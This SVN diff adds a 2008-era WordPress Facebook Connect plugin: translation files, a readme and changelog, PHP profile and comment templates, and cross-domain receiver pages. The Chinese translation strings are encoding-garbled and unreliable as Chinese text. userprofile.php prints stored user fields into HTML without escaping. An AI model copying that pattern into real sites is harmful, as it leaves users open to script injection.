+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:305
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:314
+msgid "Title"
+msgstr "Titolo"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:307
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:316
+msgid "Body"
+msgstr "Corpo"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:312
+msgid "Full stories template:"
+msgstr "Template per le full-stories:"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/fbConnectInterface.php:324
+msgid "Create Template"
+msgstr "Crea Template"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/invitefriends.php:4
+msgid "Invite your friends"
+msgstr "Invita i tuoi amici"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/invitefriends.php:15
+msgid "Become a Member!"
+msgstr "Diventa socio!"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/invitefriends.php:21
+msgid "Select the friends you want to invite."
+msgstr "Seleziona gli amici che vuoi invitare."
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/myhome.php:4
+msgid "User profile"
+msgstr "Profilo utente"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/myhome.php:16
+msgid "User comments"
+msgstr "Commenti degli utenti"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/userprofile.php:25
+msgid "Status:"
+msgstr "Stato:"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/userprofile.php:26
+msgid "Name:"
+msgstr "Nome:"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/userprofile.php:27
+msgid "Nickname:"
+msgstr "Nickname:"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/userprofile.php:28
+msgid "Member since:"
+msgstr "Membro da:"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/userprofile.php:29
+msgid "URL:"
+msgstr "URL:"
+
+#: C:\Programmi\xampp\htdocs\facebook-connect/userprofile.php:30
+msgid "About me:"
+msgstr "Chi sono:"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/lang/fbconnect-zh_CN.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/lang/fbconnect-zh_CN.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/lang/fbconnect-zh_CN.po	(revision 44)
@@ -0,0 +1,267 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: FBConnect Wordpress plugin 1.0\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-12-27 17:46+0100\n"
+"PO-Revision-Date: \n"
+"Last-Translator: Eric.X\n"
+"Language-Team: Sociable <jreyes@sociable.es>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Spanish\n"
+"X-Poedit-Country: SPAIN\n"
+"X-Poedit-SourceCharset: iso-8859-1\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: ..\n"
+"X-Poedit-SearchPath-0: .\n"
+
+#: community.php:18
+msgid "Community friends"
+msgstr "ç€Ÿåºæå"
+
+#: community.php:32
+msgid "Community"
+msgstr "ç€Ÿåº"
+
+#: community.php:32
+msgid "members"
+msgstr "äŒå"
+
+#: community.php:48
+msgid "Previous page"
+msgstr "åäžé¡µ"
+
+#: community.php:51
+msgid "Next page"
+msgstr "åäžé¡µ"
+
+#: fbConnectCore.php:296
+msgid "Title:"
+msgstr "æ é¢ïŒ"
+
+#: fbConnectCore.php:297
+msgid "Welcome msg:"
+msgstr "æ¬¢è¿ä¿¡æ¯ïŒ"
+
+#: fbConnectCore.php:298
+msgid "Footer msg:"
+msgstr "çæä¿¡æ¯ïŒ"
+
+#: fbConnectCore.php:299
+msgid "Invite msg:"
+msgstr "éè¯·ä¿¡æ¯ïŒ"
+
+#: fbConnectCore.php:300
+msgid "Visitors title:"
+msgstr "è®¿å®¢åç§°ïŒ"
+
+#: fbConnectCore.php:301
+msgid "Login msg:"
+msgstr "ç»åœä¿¡æ¯ïŒ"
+
+#: fbConnectCore.php:302
+msgid "Member msg:"
+msgstr "	äŒåä¿¡æ¯ïŒ"
+
+#: fbConnectCore.php:303
+msgid "Max users:"
+msgstr "æå€§çšæ·ïŒ"
+
+#: fbConnectCore.php:304
+msgid "Login button:"
+msgstr "ç»åœæé®ïŒ"
+
+#: fbConnectInterface.php:47
+msgid "Publish this comment to Facebook"
+msgstr "å°æ­€æ¡çèšæäº€å° Facebook"
+
+#: fbConnectInterface.php:172
+msgid "Facebook Connector Options"
+msgstr "Facebook Connector éé¡¹"
+
+#: fbConnectInterface.php:177
+msgid "Facebook Application Configuration"
+msgstr "Facebook åºçšçšåºé
+çœ®"
+
+#: fbConnectInterface.php:180
+msgid "Facebook App. Config."
+msgstr "Facebook åºçšçšåºé
+çœ®"
+
+#: fbConnectInterface.php:182
+msgid "Go to Facebook Developer App"
+msgstr "è¿å
+¥ Facebook åŒåè
+é¡µé¢"
+
+#: fbConnectInterface.php:187
+msgid "Facebook API Key:"
+msgstr "Facebook API å¯é¥ïŒ"
+
+#: fbConnectInterface.php:193
+msgid "Facebook API Secret:"
+msgstr "Facebook API ä¿å¯ç ïŒ"
+
+#: fbConnectInterface.php:199
+msgid "Automatic Approval:"
+msgstr "èªåšæ¹åïŒ"
+
+#: fbConnectInterface.php:203
+msgid "Enable comment auto-approval"
+msgstr "å¯çšèªåšæ¹åè¯è®º"
+
+#: fbConnectInterface.php:208
+msgid "Comment Form:"
+msgstr "è¯è®ºæ¹åŒïŒ"
+
+#: fbConnectInterface.php:213
+msgid "Allow send user comments to Facebook."
+msgstr "å
+è®žåéçšæ·çèšå° Facebookã"
+
+#: fbConnectInterface.php:218
+msgid "Secure login:"
+msgstr "å®å
+šç»åœïŒ"
+
+#: fbConnectInterface.php:223
+msgid "Facebook Connect Via SSL."
+msgstr "éè¿SSLè¿æ¥ Facebookã"
+
+#: fbConnectInterface.php:233
+msgid "Update Configuration"
+msgstr "æŽæ°é
+çœ®"
+
+#: fbConnectInterface.php:239
+msgid "Comment templates"
+msgstr "	è¯è®ºæš¡æ¿"
+
+#: fbConnectInterface.php:246
+msgid "No active Facebook template, please activate a template or create a new one!"
+msgstr "æ æç Facebook æš¡æ¿ïŒè¯·å¯åšæåå»ºäžäžªæ°çæš¡æ¿ïŒ"
+
+#: fbConnectInterface.php:248
+msgid "Templates not synchronized with Facebook, write the templates text and press create templates!"
+msgstr "äž Facebook çæš¡æ¿äžåæ­¥ïŒåå»ºæš¡æ¿ïŒ"
+
+#: fbConnectInterface.php:250
+msgid "Active Facebook template ID:"
+msgstr "å·²æ¿æŽ»ç Facebook æš¡æ¿çŒå·ïŒ"
+
+#: fbConnectInterface.php:257
+msgid "Template ID:"
+msgstr "æš¡æ¿çŒå·ïŒ"
+
+#: fbConnectInterface.php:257
+msgid "Activate template"
+msgstr "æ¿æŽ»æš¡æ¿"
+
+#: fbConnectInterface.php:258
+msgid "Delete template"
+msgstr "å é€æš¡æ¿"
+
+#: fbConnectInterface.php:260
+msgid "Active Facebook template"
+msgstr "æ¿æŽ» Facebook æš¡æ¿"
+
+#: fbConnectInterface.php:263
+msgid "One line story:"
+msgstr "èæ¬"
+
+#: fbConnectInterface.php:264
+msgid "Short story title:"
+msgstr "ç­ç¯æç« æ é¢ïŒ"
+
+#: fbConnectInterface.php:265
+msgid "Short story body:"
+msgstr "ç­ç¯æç« å
+å®¹ïŒ"
+
+#: fbConnectInterface.php:266
+msgid "Full story title:"
+msgstr "é¿ç¯æç« æ é¢ïŒ"
+
+#: fbConnectInterface.php:267
+msgid "Full story body:"
+msgstr "é¿ç¯æç« å
+å®¹ïŒ"
+
+#: fbConnectInterface.php:297
+msgid "One line stories template:"
+msgstr "èæ¬æš¡æ¿ïŒ"
+
+#: fbConnectInterface.php:303
+msgid "Short stories template:"
+msgstr "ç­ç¯æç« æš¡æ¿ïŒ"
+
+#: fbConnectInterface.php:305
+#: fbConnectInterface.php:314
+msgid "Title"
+msgstr "æ é¢"
+
+#: fbConnectInterface.php:307
+#: fbConnectInterface.php:316
+msgid "Body"
+msgstr "å
+å®¹"
+
+#: fbConnectInterface.php:312
+msgid "Full stories template:"
+msgstr "é¿ç¯æç« æš¡æ¿ïŒ"
+
+#: fbConnectInterface.php:324
+msgid "Create Template"
+msgstr "åå»ºæš¡æ¿"
+
+#: fbconnect_widget.php:42
+msgid "view more..."
+msgstr "æ¥çæŽå€..."
+
+#: invitefriends.php:4
+msgid "Invite your friends"
+msgstr "éè¯·å¥œåïŒ"
+
+#: invitefriends.php:15
+msgid "Become a Member!"
+msgstr "æäžºäŒåïŒ"
+
+#: invitefriends.php:21
+msgid "Select the friends you want to invite."
+msgstr "éæ©äžäžªäœ æ³éè¯·çå¥œåã"
+
+#: myhome.php:4
+msgid "User profile"
+msgstr "çšæ·ä¿¡æ¯"
+
+#: myhome.php:16
+msgid "User comments"
+msgstr "çšæ·çèš"
+
+#: userprofile.php:25
+msgid "Status:"
+msgstr "ç¶æïŒ"
+
+#: userprofile.php:26
+msgid "Name:"
+msgstr "åç§°ïŒ"
+
+#: userprofile.php:27
+msgid "Nickname:"
+msgstr "æµç§°ïŒ"
+
+#: userprofile.php:28
+msgid "Member since:"
+msgstr "æ³šåæ¶éŽïŒ"
+
+#: userprofile.php:29
+msgid "URL:"
+msgstr "çœåïŒ"
+
+#: userprofile.php:30
+msgid "About me:"
+msgstr "å
+³äºæïŒ"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/lang/fbconnect.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/lang/fbconnect.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/lang/fbconnect.po	(revision 44)
@@ -0,0 +1,256 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: FBConnect Wordpress plugin 1.0\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-12-27 17:46+0100\n"
+"PO-Revision-Date: \n"
+"Last-Translator: Javier Reyes <jreyes@sociable.es>\n"
+"Language-Team: Sociable <jreyes@sociable.es>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Spanish\n"
+"X-Poedit-Country: SPAIN\n"
+"X-Poedit-SourceCharset: iso-8859-1\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: ..\n"
+"X-Poedit-SearchPath-0: .\n"
+
+#: community.php:18
+msgid "Community friends"
+msgstr ""
+
+#: community.php:32
+msgid "Community"
+msgstr ""
+
+#: community.php:32
+msgid "members"
+msgstr ""
+
+#: community.php:48
+msgid "Previous page"
+msgstr ""
+
+#: community.php:51
+msgid "Next page"
+msgstr ""
+
+#: fbConnectCore.php:296
+msgid "Title:"
+msgstr ""
+
+#: fbConnectCore.php:297
+msgid "Welcome msg:"
+msgstr ""
+
+#: fbConnectCore.php:298
+msgid "Footer msg:"
+msgstr ""
+
+#: fbConnectCore.php:299
+msgid "Invite msg:"
+msgstr ""
+
+#: fbConnectCore.php:300
+msgid "Visitors title:"
+msgstr ""
+
+#: fbConnectCore.php:301
+msgid "Login msg:"
+msgstr ""
+
+#: fbConnectCore.php:302
+msgid "Member msg:"
+msgstr ""
+
+#: fbConnectCore.php:303
+msgid "Max users:"
+msgstr ""
+
+#: fbConnectCore.php:304
+msgid "Login button:"
+msgstr ""
+
+#: fbConnectInterface.php:47
+msgid "Publish this comment to Facebook"
+msgstr ""
+
+#: fbConnectInterface.php:172
+msgid "Facebook Connector Options"
+msgstr ""
+
+#: fbConnectInterface.php:177
+msgid "Facebook Application Configuration"
+msgstr ""
+
+#: fbConnectInterface.php:180
+msgid "Facebook App. Config."
+msgstr ""
+
+#: fbConnectInterface.php:182
+msgid "Go to Facebook Developer App"
+msgstr ""
+
+#: fbConnectInterface.php:187
+msgid "Facebook API Key:"
+msgstr ""
+
+#: fbConnectInterface.php:193
+msgid "Facebook API Secret:"
+msgstr ""
+
+#: fbConnectInterface.php:199
+msgid "Automatic Approval:"
+msgstr ""
+
+#: fbConnectInterface.php:203
+msgid "Enable comment auto-approval"
+msgstr ""
+
+#: fbConnectInterface.php:208
+msgid "Comment Form:"
+msgstr ""
+
+#: fbConnectInterface.php:213
+msgid "Allow send user comments to Facebook."
+msgstr ""
+
+#: fbConnectInterface.php:218
+msgid "Secure login:"
+msgstr ""
+
+#: fbConnectInterface.php:223
+msgid "Facebook Connect Via SSL."
+msgstr ""
+
+#: fbConnectInterface.php:233
+msgid "Update Configuration"
+msgstr ""
+
+#: fbConnectInterface.php:239
+msgid "Comment templates"
+msgstr ""
+
+#: fbConnectInterface.php:246
+msgid "No active Facebook template, please activate a template or create a new one!"
+msgstr ""
+
+#: fbConnectInterface.php:248
+msgid "Templates not synchronized with Facebook, write the templates text and press create templates!"
+msgstr ""
+
+#: fbConnectInterface.php:250
+msgid "Active Facebook template ID:"
+msgstr ""
+
+#: fbConnectInterface.php:257
+msgid "Template ID:"
+msgstr ""
+
+#: fbConnectInterface.php:257
+msgid "Activate template"
+msgstr ""
+
+#: fbConnectInterface.php:258
+msgid "Delete template"
+msgstr ""
+
+#: fbConnectInterface.php:260
+msgid "Active Facebook template"
+msgstr ""
+
+#: fbConnectInterface.php:263
+msgid "One line story:"
+msgstr ""
+
+#: fbConnectInterface.php:264
+msgid "Short story title:"
+msgstr ""
+
+#: fbConnectInterface.php:265
+msgid "Short story body:"
+msgstr ""
+
+#: fbConnectInterface.php:266
+msgid "Full story title:"
+msgstr ""
+
+#: fbConnectInterface.php:267
+msgid "Full story body:"
+msgstr ""
+
+#: fbConnectInterface.php:297
+msgid "One line stories template:"
+msgstr ""
+
+#: fbConnectInterface.php:303
+msgid "Short stories template:"
+msgstr ""
+
+#: fbConnectInterface.php:305
+#: fbConnectInterface.php:314
+msgid "Title"
+msgstr ""
+
+#: fbConnectInterface.php:307
+#: fbConnectInterface.php:316
+msgid "Body"
+msgstr ""
+
+#: fbConnectInterface.php:312
+msgid "Full stories template:"
+msgstr ""
+
+#: fbConnectInterface.php:324
+msgid "Create Template"
+msgstr ""
+
+#: fbconnect_widget.php:42
+msgid "view more..."
+msgstr ""
+
+#: invitefriends.php:4
+msgid "Invite your friends"
+msgstr ""
+
+#: invitefriends.php:15
+msgid "Become a Member!"
+msgstr ""
+
+#: invitefriends.php:21
+msgid "Select the friends you want to invite."
+msgstr ""
+
+#: myhome.php:4
+msgid "User profile"
+msgstr ""
+
+#: myhome.php:16
+msgid "User comments"
+msgstr ""
+
+#: userprofile.php:25
+msgid "Status:"
+msgstr ""
+
+#: userprofile.php:26
+msgid "Name:"
+msgstr ""
+
+#: userprofile.php:27
+msgid "Nickname:"
+msgstr ""
+
+#: userprofile.php:28
+msgid "Member since:"
+msgstr ""
+
+#: userprofile.php:29
+msgid "URL:"
+msgstr ""
+
+#: userprofile.php:30
+msgid "About me:"
+msgstr ""
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/myhome.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/myhome.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/myhome.php	(revision 44)
@@ -0,0 +1,29 @@
+<?php get_header(); ?>
+
+<div class="fbnarrowcolumn narrowcolumn">
+
+		<h2><?php _e('User profile', 'fbconnect') ?></h2>
+		
+		<?php
+			if(file_exists (TEMPLATEPATH.'/userprofile.php')){
+				include( TEMPLATEPATH.'/userprofile.php');
+			}else{
+				include( FBCONNECT_PLUGIN_PATH.'/userprofile.php');
+			}
+
+		 ?>
+
+		<div style="width:100%;clear:both;">&nbsp;</div>
+		<h2><?php _e('User comments', 'fbconnect') ?></h2>
+		<?php
+			if(file_exists (TEMPLATEPATH.'/usercomments.php')){
+				include( TEMPLATEPATH.'/usercomments.php');
+			}else{
+				include( FBCONNECT_PLUGIN_PATH.'/usercomments.php');
+			}
+		?>
+
+</div>
+
+
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/readme.txt	(revision 44)
@@ -0,0 +1,156 @@
+=== Facebook Connect Wordpress plugin ===
+Author: Javier Reyes (www.sociable.es) (www.sixjumps.com)
+Contributors: jreyesg
+Donate link: http://www.sociable.es/facebook-connect/
+Tags: Facebook,Facebook Connect,community,login,auth,profile,last visitors
+Requires at least: 2.6
+Tested up to: 2.7
+Stable tag: trunk
+
+== Description ==
+Complete integration of your Wordpress blog and Facebook, using Facebook Connect. Build a tribe/community around your blog: Facebook login, automatic user registration, send comments to Facebook feed, invite your Facebook friends.
+
+1. Access the blog (login) with your Facebook credentials where facebook validates the username without asking for the password necessary to access the blog/website.
+
+2. The user does not need to register in the blog because thanks to the plugin the user can utilize his complete profile information he already edited in Facebook. 
+This is tremendously useful as the user does not have to register and create profiles over and over again! 
+The blog can now utilize the shared user profile information for customization and statistics in our Wordpress Blog. 
+The plugin creates a Wordpress Blog user with the exact same facebook profile information which then could be edited by the user if he likes so.
+
+3. It is possible to obtain your friends/contacts from facebook and to generate invitations to join our Blog/Site. 
+One way of promoting the site using the so powerful and marvellous word-of-mouth.
+
+4. You additionally can access to a list of existing members of the blog/site.
+
+5. The users activity in the blog/site such as posts can be sent to Facebooks mini-feed of the users profile and is then visible in facebook in his lifestream.
+
+6. You can show your last visits to the blog including the users photo that have accessed the page.
+
+
+
+== Installation ==
+
+This plugin follows the [standard WordPress installation method][]:
+
+1. Log in to the Facebook Developer application: http://www.facebook.com/developers/
+2. Create a new application, more info: http://developers.facebook.com/get_started.php
+3. Upload the `fbconnect` folder to the `/wp-content/plugins/` directory
+4. Activate the plugin through the 'Plugins' menu in WordPress
+5. Configure the plugin through the 'Facebook Connector' section of the 'Settings' menu
+6. Use the Facebook App info (step 2) to configure the plugin
+7. Create a new template for comments.
+8. Activate the Facebook Connector widget from the 'Design / Widtgets' menu.
+9. If you dont see the Facebook Connect login button, and the user images, you need to modify
+your header.php theme file:
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml">
+
+ 
+[standard WordPress installation method]: http://codex.wordpress.org/Managing_Plugins#Installing_Plugins
+
+== Frequently Asked Questions ==
+1.My Wordpress Theme dont support widgets, What can i do?
+
+If your wordpress don't support widgets, you can add the FB Connect plugin manually:
+
+< ?php
+widget_FacebookConnector(array());
+?>
+
+2. IExplorer don't show the login button and user photos
+
+On some wordpress themes you need to modify your "header.php" file:
+
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml">
+
+and check your "footer.php" theme file: if don't have a < ?php wp_footer(); ?> line
+Add it before the end body tag:
+
+< ?php wp_footer(); ?>
+< /body>
+< /html> 
+
+== Screenshots ==
+1. Screenshot Facebook login and last visitors widget 
+2. Screenshot Community members page
+3. Screenshot User profile page
+4. Screenshot Send comment to Facebook
+5. Screenshot Facebook feed comment
+6. Screenshot Invite your Facebook friends
+
+== Help and Updates ==
+http://www.sociable.es/facebook-connect
+
+== Changelog ==
+= version 1.2 =
+*Show page title on community,invite friends and profile
+*Facebook Share button
+*Solved Facebook comment popup scroll problem
+*Show Facebook profile link, on the plugin profile page
+*Facebook libs updated
+*Square user avatar
+*CatalÃ  translation: By Miquel LabÃ²ria (Blog: http://apple.bloks.cat/)
+*German translation: By Sebastian Schwittay (Blog: http://www.pixelreality.net/) and Manuel Gruber (Blog: http://www.manuelgruber.com)
+*Simplified Chinese translation: By Eric X. (Blog: http://blog.xilibi.com/)
+*French translation: By Gilles Barbier (Blog: http://www.gillesblog.com) and By Mathieu DHORDAIN (Blog: http://www.dhordain.com/)
+*Italian translation: By Valentino Aluigi (http://www.maverick.it , http://www.valentinoaluigi.com)
+
+
+
+
+
+= version 1.0 =
+*Multilanguage support, fbconnect/lang. (spanish and english for the moment)
+*Widget and CSS personalization (copy fbconnect_widget.php and fbconnect.css to your wordpress theme directory)
+*Facebook libraries already loaded by other plugin. 
+
+= version 0.9.9 =
+*Fixed some w3.org validation errors (Thanks to Axel from IEEE)
+*More changes to solve the infinite reload problem
+*Removed sidebar import to avoid problems with some themes
+
+= version 0.9.8 =
+*User profile page translation, spanish to english
+
+= version 0.9.7 =
+*Some changes to solve the infinite reload problem
+*CSS changes for Google Chrome, and other themes
+
+= version 0.9.6 =
+*Changes changes on fbconnect.css to avoid problems with themes
+*Solved problem with Wordpress 2.7 logout
+*Changes on the inclusion of community.php and myhome.php
+*Login button size configuration
+
+= version 0.9.5 =
+*Removed /css/fb_connect.css (404 not found, Thanks to Claude Vedovini)
+*Some changes on fbconnect.css to avoid problems with themes(Thanks to Claude Vedovini)
+*Solved problem with auth_expiresession() on PHP4
+*Show blog name on invite friends button
+*Changes on the users count, to show on the community page
+
+= version 0.9.1 =
+*Removed SSL support (problems with https://static.ak.connect.facebook.com/pics/t_silhouette.jpg)
+
+= version 0.9 =
+*SSL Support
+*Include pages from user theme (MyHome and Community)
+
+= version 0.8 =
+*Removed site_url usage
+*Changed order on comments list and community users
+*Community users pagination
+
+= version 0.7 =
+*Facebook Connect comment dialog
+*Solved problems with Community page (sidebar.php  not found)
+
+= version 0.0.4 =
+*PHP4 support
+*New page for friends invite
+*CSS Styles
+*Some bugs
+
+= version 0.0.1 =
+-
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/usercomments.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/usercomments.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/usercomments.php	(revision 44)
@@ -0,0 +1,35 @@
+<?php 
+		$fb_user ="";
+		if (isset($_REQUEST['userid']) && $_REQUEST['userid']!=""){
+			$fb_user = $_REQUEST['userid'];
+			$comments = WPfbConnect_Logic::get_user_comments_byID($_REQUEST['userid']);
+		}elseif (isset($_REQUEST['fbuserid']) && $_REQUEST['fbuserid']!=""){
+			$comments = WPfbConnect_Logic::get_user_comments($_REQUEST['fbuserid']);
+		}elseif(isset($_REQUEST['fb_sig_profile_user']) && $_REQUEST['fb_sig_profile_user']!=""){
+			$comments = WPfbConnect_Logic::get_user_comments($_REQUEST['fb_sig_profile_user']);
+		}
+?>
+<?php if ($comments) : ?>
+
+	<div class="commentlist">
+	<?php global $comment;?>
+	<?php foreach ($comments as $comment) : ?>
+
+		<div <?php echo $oddcomment; ?>id="comment-<?php comment_ID() ?>">
+			<h2 class="entry-title" style="margin: 10px 0 0;"><a href="<?php echo get_permalink($comment->comment_post_ID) ?>" rel="bookmark" title="Permanent Link to <?php echo $comment->post_title;?>"><?php echo $comment->post_title;?></a></h2>
+			
+			<small class="commentmetadata"><a href="#comment-<?php comment_ID() ?>" title=""><?php comment_date('F jS, Y') ?> at <?php comment_time() ?></a> <?php edit_comment_link('edit','&nbsp;&nbsp;',''); ?></small>
+
+			<?php comment_text() ?>
+
+		</div>
+
+	<?php
+		/* Changes every other comment to a different class */
+		$oddcomment = ( empty( $oddcomment ) ) ? 'class="alt" ' : '';
+	?>
+
+	<?php endforeach; /* end for each comment */ ?>
+
+	</div>
+<?php endif; ?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/userprofile.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/userprofile.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/userprofile.php	(revision 44)
@@ -0,0 +1,21 @@
+<?php
+	$userprofile = WPfbConnect_Logic::get_user();
+?>	
+	
+<div class="fbconnect_userprofile">
+	<div class="fbconnect_userpicmain">
+		<fb:profile-pic uid="<?php echo $userprofile->fbconnect_userid;?>" size="small" linked="true"></fb:profile-pic>
+	</div>
+
+	<div class="fbconnect_profiletexts">
+	    <b><?php _e('Status:', 'fbconnect') ?></b> <fb:user-status uid="<?php echo $userprofile->fbconnect_userid;?>" linked="true"></fb:user-status>
+		<br/><b><?php _e('Name:', 'fbconnect') ?> </b><?php echo $userprofile->display_name; ?>
+		<br/><b><?php _e('Nickname:', 'fbconnect') ?> </b><?php echo $userprofile->nickname; ?>
+		<br/><b><?php _e('Member since:', 'fbconnect') ?> </b><?php echo $userprofile->user_registered; ?>
+		<br/><b><?php _e('Website URL:', 'fbconnect') ?> </b><a href="<?php echo $userprofile->user_url; ?>" rel="external nofollow"><?php echo $userprofile->user_url; ?></a>
+		<br/><b><?php _e('About me:', 'fbconnect') ?> </b><?php echo $userprofile->description; ?><br/>
+		<?php if (isset($userprofile->fbconnect_userid) && $userprofile->fbconnect_userid!="" && $userprofile->fbconnect_userid!="0") : ?>
+			<br/><b><a href="http://www.facebook.com/profile.php?id=<?php echo $userprofile->fbconnect_userid; ?>" rel="external nofollow"><img class="icon-text-middle" src="<?php echo FBCONNECT_PLUGIN_URL; ?>/images/facebook_24.png"/><?php _e('Facebook profile', 'fbconnect') ?></a></b>
+		<?php endif; ?>
+	</div>
+</div>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/xd_receiver.htm
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/xd_receiver.htm	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/xd_receiver.htm	(revision 44)
@@ -0,0 +1,10 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" >
+<head>
+    <title>cross domain receiver page</title>
+</head>
+<body>
+    <script src="http://static.ak.connect.facebook.com/js/api_lib/v0.4/XdCommReceiver.debug.js" type="text/javascript"></script>
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/xd_receiver.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/xd_receiver.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/xd_receiver.php	(revision 44)
@@ -0,0 +1,31 @@
+<?php
+include 'lib/core.php';
+
+// cache the xd_receiver
+header('Cache-Control: max-age=225065900');
+header('Expires:');
+header('Pragma:');
+
+?>
+
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" >
+<head>
+    <title>cross domain receiver page</title>
+</head>
+<body>
+
+<!--
+This is a cross domain (XD) receiver page. It needs to be placed on your domain so that the Javascript
+  library can communicate within the iframe permission model. Put it here:
+
+  http://www.example.com/xd_receiver.php
+-->
+
+<?php
+  echo '<script src="'.get_static_root().'/js/api_lib/v0.4/XdCommReceiver.debug.js" type="text/javascript"></script>';
+
+?>
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/xd_receiver_ssl.htm
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/xd_receiver_ssl.htm	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/xd_receiver_ssl.htm	(revision 44)
@@ -0,0 +1,11 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" >
+<head>
+    <title>cross domain receiver page</title>
+</head>
+<body>
+   <!--- this is a secure xd_receiver, since it loads from https:// -->
+   <script src="https://www.connect.facebook.com/js/api_lib/v0.4/XdCommReceiver.js" type="text/javascript"></script>
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/xd_receiver_ssl.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/xd_receiver_ssl.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/xd_receiver_ssl.php	(revision 44)
@@ -0,0 +1,31 @@
+<?php
+include 'lib/core.php';
+
+// cache the xd_receiver
+header('Cache-Control: max-age=225065900');
+header('Expires:');
+header('Pragma:');
+
+?>
+
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" >
+<head>
+    <title>cross domain receiver page</title>
+</head>
+<body>
+
+<!--
+This is a cross domain (XD) receiver page. It needs to be placed on your domain so that the Javascript
+  library can communicate within the iframe permission model. Put it here:
+
+  http://www.example.com/xd_receiver.php
+-->
+
+<?php
+  echo '<script src="'.get_ssl_root().'/js/api_lib/v0.4/XdCommReceiver.debug.js" type="text/javascript"></script>';
+
+?>
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/feeder-v0.3/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/feeder-v0.3/README.txt	(revision 44)
